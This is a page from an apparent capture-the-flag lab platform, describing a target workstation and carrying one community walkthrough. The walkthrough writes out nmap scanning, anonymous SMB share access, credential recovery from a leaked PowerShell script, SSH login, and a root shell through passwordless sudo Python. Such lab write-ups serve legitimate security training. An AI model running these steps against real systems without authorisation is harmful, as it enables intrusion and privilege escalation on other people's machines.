🐀🐀🐀🐀 0 pts earned

CORP-WS01

🧩 CorpNet

🖧 AD Network — CorpNet

CORP-DC01 CORP-WS01

CORP-WS01 belongs to a developer who built the team's internal tools portal and deployed it from their own machine. It's domain-joined, it's always on, and the portal has never been pentested. Part of the CorpNet LDAP lab.

Machine online (checked 18m ago)
Target IP Log in to reveal
User Flag Pending
Root Flag Pending

Community

Community Hints

Grade A · 1000 pts Grade B · 700 pts Grade C · 400 pts Grade D · 200 pts + 150 credits on accept

Short, stage-specific nudges — directional, spoiler-light, no exact commands.

No community hints yet — be the first to add one!

Community

Community Walkthroughs

Grade A · 2500 pts Grade B · 1750 pts Grade C · 1000 pts Grade D · 500 pts + 300 credits on accept
suraj pun magar C 30 May 2026

Reconnaissance

I began by identifying the exposed services.

nmap -sV -p 30122,30180,30545

Results:

SSH (OpenSSH)
HTTP (Apache)
SMB (Samba)

Since SMB was exposed, I focused on enumerating available shares.

SMB Enumeration

Anonymous access was allowed.

smbclient -L // -p 30545 -N

Discovered shares:

SHARE
IT
SHARE

The first share contained only a README file with general environment information about the workstation and domain.

IT Share

The IT share contained:

setup_db.ps1
README.txt

I downloaded the PowerShell script:

smbclient ///IT -p 30545 -N
get setup_db.ps1

Inspecting the script revealed hardcoded service account credentials.

The script also contained a comment indicating the credentials were intended to be removed before deployment, highlighting a common operational security mistake.

Initial Access

Using the recovered credentials, I authenticated to the SSH service.

ssh -p 30122 @

This provided a shell on the target workstation.

Privilege Enumeration

After gaining access, I enumerated sudo permissions.

sudo -l

The output revealed that the current user could execute Python as root without providing a password.

This represented a direct privilege escalation path.

Privilege Escalation

Because Python can execute operating system commands, I used it to spawn a root shell.

sudo python3 -c 'import os; os.system("/bin/bash")'

The shell was launched with root privileges.

Verification:

whoami

Output:

root
Flag Discovery

Once root access was obtained, I searched the filesystem for user and root proof files.

Examples:

find / -name "flag" 2>/dev/null

and

find / -name "user.txt" 2>/dev/null

This led to the user proof file within another user's home directory and the root proof file within the root user's directory.